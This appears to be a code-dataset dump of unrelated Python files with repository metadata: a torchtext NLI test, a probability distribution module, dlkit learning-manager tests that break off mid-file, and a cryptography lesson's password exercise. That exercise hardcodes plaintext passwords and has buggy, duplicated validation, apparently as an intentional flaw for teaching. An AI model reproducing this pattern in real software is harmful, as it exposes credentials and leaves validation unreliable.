2019-06-11T15:25:34.000Z
|
test/nli.py
|
tu-artem/text
|
9afcfcdfdcb668780aba59fa1d06411645d54dd7
|
[
"BSD-3-Clause"
] | 1
|
2018-11-21T07:03:49.000Z
|
2018-11-21T07:03:49.000Z
|
test/nli.py
|
tu-artem/text
|
9afcfcdfdcb668780aba59fa1d06411645d54dd7
|
[
"BSD-3-Clause"
] | 1
|
2022-01-03T13:14:31.000Z
|
2022-01-03T13:14:31.000Z
|
from torchtext import data
from torchtext import datasets
# Testing SNLI
print("Run test on SNLI...")
TEXT = datasets.nli.ParsedTextField()
LABEL = data.LabelField()
TREE = datasets.nli.ShiftReduceField()
train, val, test = datasets.SNLI.splits(TEXT, LABEL, TREE)
print("Fields:", train.fields)
print("Number of examples:\n", len(train))
print("First Example instance:\n", vars(train[0]))
TEXT.build_vocab(train)
LABEL.build_vocab(train)
train_iter, val_iter, test_iter = data.Iterator.splits((train, val, test), batch_size=3)
batch = next(iter(train_iter))
print("Numericalize premises:\n", batch.premise)
print("Numericalize hypotheses:\n", batch.hypothesis)
print("Entailment labels:\n", batch.label)
print("Test iters function")
train_iter, val_iter, test_iter = datasets.SNLI.iters(batch_size=4, trees=True)
batch = next(iter(train_iter))
print("Numericalize premises:\n", batch.premise)
print("Numericalize hypotheses:\n", batch.hypothesis)
print("Entailment labels:\n", batch.label)
# Testing MultiNLI
print("Run test on MultiNLI...")
TEXT = datasets.nli.ParsedTextField()
LABEL = data.LabelField()
GENRE = data.LabelField()
TREE = datasets.nli.ShiftReduceField()
train, val, test = datasets.MultiNLI.splits(TEXT, LABEL, TREE, GENRE)
print("Fields:", train.fields)
print("Number of examples:\n", len(train))
print("First Example instance:\n", vars(train[0]))
TEXT.build_vocab(train)
LABEL.build_vocab(train)
GENRE.build_vocab(train, val, test)
train_iter, val_iter, test_iter = data.Iterator.splits((train, val, test), batch_size=3)
batch = next(iter(train_iter))
print("Numericalize premises:\n", batch.premise)
print("Numericalize hypotheses:\n", batch.hypothesis)
print("Entailment labels:\n", batch.label)
print("Genre categories:\n", batch.genre)
print("Test iters function")
train_iter, val_iter, test_iter = datasets.MultiNLI.iters(batch_size=4, trees=True)
batch = next(iter(train_iter))
print("Numericalize premises:\n", batch.premise)
print("Numericalize hypotheses:\n", batch.hypothesis)
print("Entailment labels:\n", batch.label)
| 30.835821
| 88
| 0.756534
| 290
| 2,066
| 5.303448
| 0.189655
| 0.050715
| 0.039012
| 0.041612
| 0.843303
| 0.843303
| 0.843303
| 0.788687
| 0.788687
| 0.788687
| 0
| 0.003193
| 0.090513
| 2,066
| 66
| 89
| 31.30303
| 0.815327
| 0.014037
| 0
| 0.765957
| 0
| 0
| 0.238446
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.042553
| 0
| 0.042553
| 0.489362
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
1dd13816f4b19e1f756984121f414f3cc0cae0a8
| 99
|
py
|
Python
|
one_home_sensor/tests.py
|
LeadTheSalt/one_home_sensor
|
8bdea704ab81738cc3cedf02cdaa3042cab95360
|
[
"MIT"
] | null | null | null |
one_home_sensor/tests.py
|
LeadTheSalt/one_home_sensor
|
8bdea704ab81738cc3cedf02cdaa3042cab95360
|
[
"MIT"
] | null | null | null |
one_home_sensor/tests.py
|
LeadTheSalt/one_home_sensor
|
8bdea704ab81738cc3cedf02cdaa3042cab95360
|
[
"MIT"
] | null | null | null |
import pytest
# No tests have been implemeted yet but its ready to be.
def test_run():
pass
| 14.142857
| 56
| 0.707071
| 17
| 99
| 4.058824
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.242424
| 99
| 7
| 57
| 14.142857
| 0.92
| 0.545455
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
1ddca0af3dd481a17f3b89af31f0e9b27260df98
| 4,347
|
py
|
Python
|
1-Lesson-Plans/10-Cryptography/3/activities/11_Crypto_Attacks/unsolved/scripts/password.py
|
BaleBase/lala
|
33193a7dd3563c7636493e52fa9a4956ec4b9dc6
|
[
"CNRI-Python"
] | null | null | null |
1-Lesson-Plans/10-Cryptography/3/activities/11_Crypto_Attacks/unsolved/scripts/password.py
|
BaleBase/lala
|
33193a7dd3563c7636493e52fa9a4956ec4b9dc6
|
[
"CNRI-Python"
] | null | null | null |
1-Lesson-Plans/10-Cryptography/3/activities/11_Crypto_Attacks/unsolved/scripts/password.py
|
BaleBase/lala
|
33193a7dd3563c7636493e52fa9a4956ec4b9dc6
|
[
"CNRI-Python"
] | 1
|
2021-06-08T06:50:23.000Z
|
2021-06-08T06:50:23.000Z
|
secret_password = "marty"
def apasswordcheker(password_checkers):
if password == "marty":
print("You figured out the secret password")
def password_check(passwd):
SpecialSym =['$', '@', '#', '%']
val = True
if len(passwd) < 6:
print('length should be at least 6')
val = False
if len(passwd) > 20:
print('length should be not be greater than 8')
val = False
if not any(char.isdigit() for char in passwd):
print('Password should have at least one numeral')
val = False
if not any(char.isupper() for char in passwd):
print('Password should have at least one uppercase letter')
val = False
if not any(char.islower() for char in passwd):
print('Password should have at least one lowercase letter')
val = False
if not any(char in SpecialSym for char in passwd):
print('Password should have at least one of the symbols $@#')
val = False
if val:
return val
def password_check(passwd):
SpecialSym =['$', '@', '#', '%']
val = True
if len(passwd) < 6:
print('length should be at least 6')
val = False
if len(passwd) > 20:
print('length should be not be greater than 8')
val = False
if not any(char.isdigit() for char in passwd):
print('Password should have at least one numeral')
val = False
if not any(char.isupper() for char in passwd):
print('Password should have at least one uppercase letter')
val = False
if not any(char.islower() for char in passwd):
print('Password should have at least one lowercase letter')
val = False
if not any(char in SpecialSym for char in passwd):
print('Password should have at least one of the symbols $@#')
val = False
if val:
return val
def password_chek(passwd):
SpecialSym =['$', '@', '#', '%']
val = True
if len(passwd) < 6:
print('length should be at least 6')
val = False
if len(passwd) > 20:
print('length should be not be greater than 8')
val = False
if not any(char.isdigit() for char in passwd):
print('Password should have at least one numeral')
val = False
if not any(char.isupper() for char in passwd):
print('Password should have at least one uppercase letter')
val = False
if not any(char.islower() for char in passwd):
print('Password should have at least one lowercase letter')
val = False
if not any(char in SpecialSym for char in passwd):
print('Password should have at least one of the symbols $@#')
val = False
if val:
return val
tannen = "jigowatt"
check = "FALSE"
while check == "FALSE":
user_password = input("Hi Mr Tannen, What is your password (lowercase only) ? ")
if user_password == tannen:
check = "TRUE"
print("Hello Detective Tannen, the last file you accessed is: topsecret.txt")
elif user_password == "marty":
print("Please dont look at the code to figure out the password ")
else:
print("That is incorrect, please try again")
def passord_check(passwd):
SpecialSym =['$', '@', '#', '%']
val = True
if len(passwd) < 6:
print('length should be at least 6')
val = False
if len(passwd) > 20:
print('length should be not be greater than 8')
val = False
if not any(char.isdigit() for char in passwd):
print('Password should have at least one numeral')
val = False
if not any(char.isupper() for char in passwd):
print('Password should have at least one uppercase letter')
val = False
if not any(char.islower() for char in passwd):
print('Password should have at least one lowercase letter')
val = False
if not any(char in SpecialSym for char in passwd):
print('Password should have at least one of the symbols $@#')
val = False
if val:
return val
| 30.1875
| 85
| 0.563607
| 558
| 4,347
| 4.374552
| 0.139785
| 0.078656
| 0.09832
| 0.085211
| 0.830807
| 0.830807
| 0.830807
| 0.830807
| 0.830807
| 0.830807
| 0
| 0.00701
| 0.343685
| 4,347
| 144
| 86
| 30.1875
| 0.84858
| 0
| 0
| 0.841122
| 0
| 0
| 0.307038
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.046729
| false
| 0.485981
| 0
| 0
| 0.084112
| 0.261682
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
699c8350036103b1148e63702cc0735142f1603e
| 2,656
|
py
|
Python
|
mimo/distributions/gamma.py
|
MichaelLutter/mimo
|
8a6a770ee90cbd6fd5cc12141d19442a3477af2c
|
[
"MIT"
] | null | null | null |
mimo/distributions/gamma.py
|
MichaelLutter/mimo
|
8a6a770ee90cbd6fd5cc12141d19442a3477af2c
|
[
"MIT"
] | null | null | null |
mimo/distributions/gamma.py
|
MichaelLutter/mimo
|
8a6a770ee90cbd6fd5cc12141d19442a3477af2c
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Filename: wishart.py
# @Date: 2019-06-07-13-36
# @Author: Hany Abdulsamad
# @Contact: hany@robot-learning.de
import numpy as np
import numpy.random as npr
from scipy.special import gammaln, digamma
from mimo.abstractions import Distribution
class Gamma(Distribution):
def __init__(self, alphas, betas):
self.alphas = alphas
self.betas = betas
@property
def params(self):
return self.alphas, self.betas
@params.setter
def params(self, values):
self.alphas, self.betas = values
@property
def dim(self):
return len(self.alphas)
def rvs(self, size=None):
# numpy uses a different parameterization
return npr.gamma(self.alphas, 1. / self.betas)
def mean(self):
return self.alphas / self.betas
def mode(self):
return np.where(self.alphas > 1., (self.alphas - 1.) / self.betas, 100000)
def log_likelihood(self, x):
loglik = np.sum(- gammaln(self.alphas) + self.alphas * np.log(self.betas) +
(self.alphas - 1.) * np.log(x) - x * self.betas)
return loglik
def log_partition(self):
return np.sum(gammaln(self.alphas) - self.alphas * np.log(self.betas))
def entropy(self):
return np.sum(self.alphas - np.log(self.betas) +
gammaln(self.alphas) + (1. - self.alphas) * digamma(self.alphas))
class InverseGamma(Distribution):
def __init__(self, alphas, betas):
self.alphas = alphas
self.betas = betas
@property
def params(self):
return self.alphas, self.betas
@params.setter
def params(self, values):
self.alphas, self.betas = values
@property
def dim(self):
return len(self.alphas)
def rvs(self, size=None):
# numpy uses a different parameterization
return 1. / npr.gamma(self.alphas, 1. / self.betas)
def mean(self):
return np.where(self.alphas > 1., self.betas / (self.alphas - 1), 100000)
def mode(self):
return self.betas / (self.alphas + 1.)
def log_likelihood(self, x):
loglik = np.sum(- gammaln(self.alphas) + self.alphas * np.log(self.betas) -
(self.alphas + 1.) * np.log(x) - x / self.betas)
return loglik
def log_partition(self):
return np.sum(gammaln(self.alphas) - self.alphas * np.log(self.betas))
def entropy(self):
return np.sum(self.alphas + np.log(self.betas) +
gammaln(self.alphas) - (1. + self.alphas) * digamma(self.alphas))
if __name__ == "__main__":
pass
| 26.039216
| 87
| 0.605045
| 346
| 2,656
| 4.586705
| 0.216763
| 0.226843
| 0.076244
| 0.066163
| 0.814745
| 0.781979
| 0.770006
| 0.770006
| 0.73598
| 0.73598
| 0
| 0.019477
| 0.265437
| 2,656
| 101
| 88
| 26.29703
| 0.793952
| 0.085467
| 0
| 0.645161
| 0
| 0
| 0.003304
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.322581
| false
| 0.016129
| 0.064516
| 0.225806
| 0.677419
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 9
|
69dd81810d360f84cdb45d2a1e5dc58f682abff4
| 43,743
|
py
|
Python
|
tests/learning/test_managers.py
|
UOC/dlkit
|
a9d265db67e81b9e0f405457464e762e2c03f769
|
[
"MIT"
] | 2
|
2018-02-23T12:16:11.000Z
|
2020-10-08T17:54:24.000Z
|
tests/learning/test_managers.py
|
UOC/dlkit
|
a9d265db67e81b9e0f405457464e762e2c03f769
|
[
"MIT"
] | 87
|
2017-04-21T18:57:15.000Z
|
2021-12-13T19:43:57.000Z
|
tests/learning/test_managers.py
|
UOC/dlkit
|
a9d265db67e81b9e0f405457464e762e2c03f769
|
[
"MIT"
] | 1
|
2018-03-01T16:44:25.000Z
|
2018-03-01T16:44:25.000Z
|
"""Unit tests of learning managers."""
import pytest
from ..utilities.general import is_never_authz, is_no_authz, uses_cataloging, uses_filesystem_only
from dlkit.abstract_osid.osid import errors
from dlkit.abstract_osid.type.objects import TypeList as abc_type_list
from dlkit.primordium.id.primitives import Id
from dlkit.primordium.type.primitives import Type
from dlkit.runtime import PROXY_SESSION, proxy_example
from dlkit.runtime.managers import Runtime
REQUEST = proxy_example.SimpleRequest()
CONDITION = PROXY_SESSION.get_proxy_condition()
CONDITION.set_http_request(REQUEST)
PROXY = PROXY_SESSION.get_proxy(CONDITION)
DEFAULT_TYPE = Type(**{'identifier': 'DEFAULT', 'namespace': 'DEFAULT', 'authority': 'DEFAULT'})
@pytest.fixture(scope="class",
params=['TEST_SERVICE', 'TEST_SERVICE_ALWAYS_AUTHZ', 'TEST_SERVICE_NEVER_AUTHZ', 'TEST_SERVICE_CATALOGING', 'TEST_SERVICE_FILESYSTEM', 'TEST_SERVICE_MEMCACHE'])
def learning_profile_class_fixture(request):
request.cls.service_config = request.param
request.cls.mgr = Runtime().get_service_manager(
'LEARNING',
proxy=PROXY,
implementation=request.cls.service_config)
@pytest.fixture(scope="function")
def learning_profile_test_fixture(request):
pass
@pytest.mark.usefixtures("learning_profile_class_fixture", "learning_profile_test_fixture")
class TestLearningProfile(object):
"""Tests for LearningProfile"""
def test_supports_objective_lookup(self):
"""Tests supports_objective_lookup"""
assert isinstance(self.mgr.supports_objective_lookup(), bool)
def test_supports_objective_query(self):
"""Tests supports_objective_query"""
assert isinstance(self.mgr.supports_objective_query(), bool)
def test_supports_objective_admin(self):
"""Tests supports_objective_admin"""
assert isinstance(self.mgr.supports_objective_admin(), bool)
def test_supports_objective_hierarchy(self):
"""Tests supports_objective_hierarchy"""
assert isinstance(self.mgr.supports_objective_hierarchy(), bool)
def test_supports_objective_hierarchy_design(self):
"""Tests supports_objective_hierarchy_design"""
assert isinstance(self.mgr.supports_objective_hierarchy_design(), bool)
def test_supports_objective_sequencing(self):
"""Tests supports_objective_sequencing"""
assert isinstance(self.mgr.supports_objective_sequencing(), bool)
def test_supports_objective_objective_bank(self):
"""Tests supports_objective_objective_bank"""
assert isinstance(self.mgr.supports_objective_objective_bank(), bool)
def test_supports_objective_objective_bank_assignment(self):
"""Tests supports_objective_objective_bank_assignment"""
assert isinstance(self.mgr.supports_objective_objective_bank_assignment(), bool)
def test_supports_objective_requisite(self):
"""Tests supports_objective_requisite"""
assert isinstance(self.mgr.supports_objective_requisite(), bool)
def test_supports_objective_requisite_assignment(self):
"""Tests supports_objective_requisite_assignment"""
assert isinstance(self.mgr.supports_objective_requisite_assignment(), bool)
def test_supports_activity_lookup(self):
"""Tests supports_activity_lookup"""
assert isinstance(self.mgr.supports_activity_lookup(), bool)
def test_supports_activity_query(self):
"""Tests supports_activity_query"""
assert isinstance(self.mgr.supports_activity_query(), bool)
def test_supports_activity_admin(self):
"""Tests supports_activity_admin"""
assert isinstance(self.mgr.supports_activity_admin(), bool)
def test_supports_activity_objective_bank(self):
"""Tests supports_activity_objective_bank"""
assert isinstance(self.mgr.supports_activity_objective_bank(), bool)
def test_supports_activity_objective_bank_assignment(self):
"""Tests supports_activity_objective_bank_assignment"""
assert isinstance(self.mgr.supports_activity_objective_bank_assignment(), bool)
def test_supports_proficiency_lookup(self):
"""Tests supports_proficiency_lookup"""
assert isinstance(self.mgr.supports_proficiency_lookup(), bool)
def test_supports_proficiency_query(self):
"""Tests supports_proficiency_query"""
assert isinstance(self.mgr.supports_proficiency_query(), bool)
def test_supports_proficiency_admin(self):
"""Tests supports_proficiency_admin"""
assert isinstance(self.mgr.supports_proficiency_admin(), bool)
def test_supports_proficiency_objective_bank_assignment(self):
"""Tests supports_proficiency_objective_bank_assignment"""
assert isinstance(self.mgr.supports_proficiency_objective_bank_assignment(), bool)
def test_supports_objective_bank_lookup(self):
"""Tests supports_objective_bank_lookup"""
assert isinstance(self.mgr.supports_objective_bank_lookup(), bool)
def test_supports_objective_bank_admin(self):
"""Tests supports_objective_bank_admin"""
assert isinstance(self.mgr.supports_objective_bank_admin(), bool)
def test_supports_objective_bank_hierarchy(self):
"""Tests supports_objective_bank_hierarchy"""
assert isinstance(self.mgr.supports_objective_bank_hierarchy(), bool)
def test_supports_objective_bank_hierarchy_design(self):
"""Tests supports_objective_bank_hierarchy_design"""
assert isinstance(self.mgr.supports_objective_bank_hierarchy_design(), bool)
def test_get_objective_record_types(self):
"""Tests get_objective_record_types"""
assert isinstance(self.mgr.get_objective_record_types(), abc_type_list)
def test_get_objective_search_record_types(self):
"""Tests get_objective_search_record_types"""
assert isinstance(self.mgr.get_objective_search_record_types(), abc_type_list)
def test_get_activity_record_types(self):
"""Tests get_activity_record_types"""
assert isinstance(self.mgr.get_activity_record_types(), abc_type_list)
def test_get_activity_search_record_types(self):
"""Tests get_activity_search_record_types"""
assert isinstance(self.mgr.get_activity_search_record_types(), abc_type_list)
def test_get_proficiency_record_types(self):
"""Tests get_proficiency_record_types"""
assert isinstance(self.mgr.get_proficiency_record_types(), abc_type_list)
def test_get_proficiency_search_record_types(self):
"""Tests get_proficiency_search_record_types"""
assert isinstance(self.mgr.get_proficiency_search_record_types(), abc_type_list)
def test_get_objective_bank_record_types(self):
"""Tests get_objective_bank_record_types"""
assert isinstance(self.mgr.get_objective_bank_record_types(), abc_type_list)
def test_get_objective_bank_search_record_types(self):
"""Tests get_objective_bank_search_record_types"""
assert isinstance(self.mgr.get_objective_bank_search_record_types(), abc_type_list)
class NotificationReceiver(object):
# Implemented from resource.ResourceManager
pass
@pytest.fixture(scope="class",
params=['TEST_SERVICE', 'TEST_SERVICE_ALWAYS_AUTHZ', 'TEST_SERVICE_NEVER_AUTHZ', 'TEST_SERVICE_CATALOGING', 'TEST_SERVICE_FILESYSTEM', 'TEST_SERVICE_MEMCACHE'])
def learning_manager_class_fixture(request):
# Implemented from resource.ResourceManager
request.cls.service_config = request.param
request.cls.svc_mgr = Runtime().get_service_manager(
'LEARNING',
implementation=request.cls.service_config)
if not is_never_authz(request.cls.service_config):
create_form = request.cls.svc_mgr.get_objective_bank_form_for_create([])
create_form.display_name = 'Test ObjectiveBank'
create_form.description = 'Test ObjectiveBank for learning manager tests'
catalog = request.cls.svc_mgr.create_objective_bank(create_form)
request.cls.catalog_id = catalog.get_id()
request.cls.receiver = NotificationReceiver()
else:
request.cls.catalog_id = Id('resource.Resource%3A000000000000000000000000%40DLKIT.MIT.EDU')
def class_tear_down():
if not is_never_authz(request.cls.service_config):
request.cls.svc_mgr.delete_objective_bank(request.cls.catalog_id)
request.addfinalizer(class_tear_down)
@pytest.fixture(scope="function")
def learning_manager_test_fixture(request):
# Implemented from resource.ResourceManager
pass
@pytest.mark.usefixtures("learning_manager_class_fixture", "learning_manager_test_fixture")
class TestLearningManager(object):
"""Tests for LearningManager"""
def test_get_objective_lookup_session(self):
"""Tests get_objective_lookup_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_lookup_session_template
if self.svc_mgr.supports_objective_lookup():
self.svc_mgr.get_objective_lookup_session()
def test_get_objective_lookup_session_for_objective_bank(self):
"""Tests get_objective_lookup_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_lookup_session_for_bin_template
if self.svc_mgr.supports_objective_lookup():
self.svc_mgr.get_objective_lookup_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_lookup_session_for_objective_bank()
def test_get_objective_query_session(self):
"""Tests get_objective_query_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_lookup_session_template
if self.svc_mgr.supports_objective_query():
self.svc_mgr.get_objective_query_session()
def test_get_objective_query_session_for_objective_bank(self):
"""Tests get_objective_query_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_lookup_session_for_bin_template
if self.svc_mgr.supports_objective_query():
self.svc_mgr.get_objective_query_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_query_session_for_objective_bank()
def test_get_objective_admin_session(self):
"""Tests get_objective_admin_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_admin():
self.svc_mgr.get_objective_admin_session()
def test_get_objective_admin_session_for_objective_bank(self):
"""Tests get_objective_admin_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_objective_admin():
self.svc_mgr.get_objective_admin_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_admin_session_for_objective_bank()
def test_get_objective_hierarchy_session(self):
"""Tests get_objective_hierarchy_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_hierarchy():
self.svc_mgr.get_objective_hierarchy_session()
def test_get_objective_hierarchy_session_for_objective_bank(self):
"""Tests get_objective_hierarchy_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_objective_hierarchy():
self.svc_mgr.get_objective_hierarchy_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_hierarchy_session_for_objective_bank()
def test_get_objective_hierarchy_design_session(self):
"""Tests get_objective_hierarchy_design_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_hierarchy_design():
self.svc_mgr.get_objective_hierarchy_design_session()
def test_get_objective_hierarchy_design_session_for_objective_bank(self):
"""Tests get_objective_hierarchy_design_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_objective_hierarchy_design():
self.svc_mgr.get_objective_hierarchy_design_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_hierarchy_design_session_for_objective_bank()
def test_get_objective_sequencing_session(self):
"""Tests get_objective_sequencing_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_sequencing():
self.svc_mgr.get_objective_sequencing_session()
def test_get_objective_sequencing_session_for_objective_bank(self):
"""Tests get_objective_sequencing_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_objective_sequencing():
self.svc_mgr.get_objective_sequencing_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_sequencing_session_for_objective_bank()
def test_get_objective_objective_bank_session(self):
"""Tests get_objective_objective_bank_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_objective_bank():
self.svc_mgr.get_objective_objective_bank_session()
def test_get_objective_objective_bank_assignment_session(self):
"""Tests get_objective_objective_bank_assignment_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_objective_bank_assignment():
self.svc_mgr.get_objective_objective_bank_assignment_session()
def test_get_objective_requisite_session(self):
"""Tests get_objective_requisite_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_requisite():
self.svc_mgr.get_objective_requisite_session()
def test_get_objective_requisite_session_for_objective_bank(self):
"""Tests get_objective_requisite_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_objective_requisite():
self.svc_mgr.get_objective_requisite_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_requisite_session_for_objective_bank()
def test_get_objective_requisite_assignment_session(self):
"""Tests get_objective_requisite_assignment_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_requisite_assignment():
self.svc_mgr.get_objective_requisite_assignment_session()
def test_get_objective_requisite_assignment_session_for_objective_bank(self):
"""Tests get_objective_requisite_assignment_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_objective_requisite_assignment():
self.svc_mgr.get_objective_requisite_assignment_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_requisite_assignment_session_for_objective_bank()
def test_get_activity_lookup_session(self):
"""Tests get_activity_lookup_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_lookup_session_template
if self.svc_mgr.supports_activity_lookup():
self.svc_mgr.get_activity_lookup_session()
def test_get_activity_lookup_session_for_objective_bank(self):
"""Tests get_activity_lookup_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_lookup_session_for_bin_template
if self.svc_mgr.supports_activity_lookup():
self.svc_mgr.get_activity_lookup_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_activity_lookup_session_for_objective_bank()
def test_get_activity_query_session(self):
"""Tests get_activity_query_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_lookup_session_template
if self.svc_mgr.supports_activity_query():
self.svc_mgr.get_activity_query_session()
def test_get_activity_query_session_for_objective_bank(self):
"""Tests get_activity_query_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_lookup_session_for_bin_template
if self.svc_mgr.supports_activity_query():
self.svc_mgr.get_activity_query_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_activity_query_session_for_objective_bank()
def test_get_activity_admin_session(self):
"""Tests get_activity_admin_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_activity_admin():
self.svc_mgr.get_activity_admin_session()
def test_get_activity_admin_session_for_objective_bank(self):
"""Tests get_activity_admin_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_activity_admin():
self.svc_mgr.get_activity_admin_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_activity_admin_session_for_objective_bank()
def test_get_activity_objective_bank_session(self):
"""Tests get_activity_objective_bank_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_activity_objective_bank():
self.svc_mgr.get_activity_objective_bank_session()
def test_get_activity_objective_bank_assignment_session(self):
"""Tests get_activity_objective_bank_assignment_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_activity_objective_bank_assignment():
self.svc_mgr.get_activity_objective_bank_assignment_session()
def test_get_proficiency_lookup_session(self):
"""Tests get_proficiency_lookup_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_lookup_session_template
if self.svc_mgr.supports_proficiency_lookup():
self.svc_mgr.get_proficiency_lookup_session()
def test_get_proficiency_lookup_session_for_objective_bank(self):
"""Tests get_proficiency_lookup_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_lookup_session_for_bin_template
if self.svc_mgr.supports_proficiency_lookup():
self.svc_mgr.get_proficiency_lookup_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_proficiency_lookup_session_for_objective_bank()
def test_get_proficiency_query_session(self):
"""Tests get_proficiency_query_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_lookup_session_template
if self.svc_mgr.supports_proficiency_query():
self.svc_mgr.get_proficiency_query_session()
def test_get_proficiency_query_session_for_objective_bank(self):
"""Tests get_proficiency_query_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_lookup_session_for_bin_template
if self.svc_mgr.supports_proficiency_query():
self.svc_mgr.get_proficiency_query_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_proficiency_query_session_for_objective_bank()
def test_get_proficiency_admin_session(self):
"""Tests get_proficiency_admin_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_proficiency_admin():
self.svc_mgr.get_proficiency_admin_session()
def test_get_proficiency_admin_session_for_objective_bank(self):
"""Tests get_proficiency_admin_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_proficiency_admin():
self.svc_mgr.get_proficiency_admin_session_for_objective_bank(self.catalog_id)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_proficiency_admin_session_for_objective_bank()
def test_get_proficiency_objective_bank_assignment_session(self):
"""Tests get_proficiency_objective_bank_assignment_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_proficiency_objective_bank_assignment():
self.svc_mgr.get_proficiency_objective_bank_assignment_session()
def test_get_objective_bank_lookup_session(self):
"""Tests get_objective_bank_lookup_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_bank_lookup():
self.svc_mgr.get_objective_bank_lookup_session()
def test_get_objective_bank_admin_session(self):
"""Tests get_objective_bank_admin_session"""
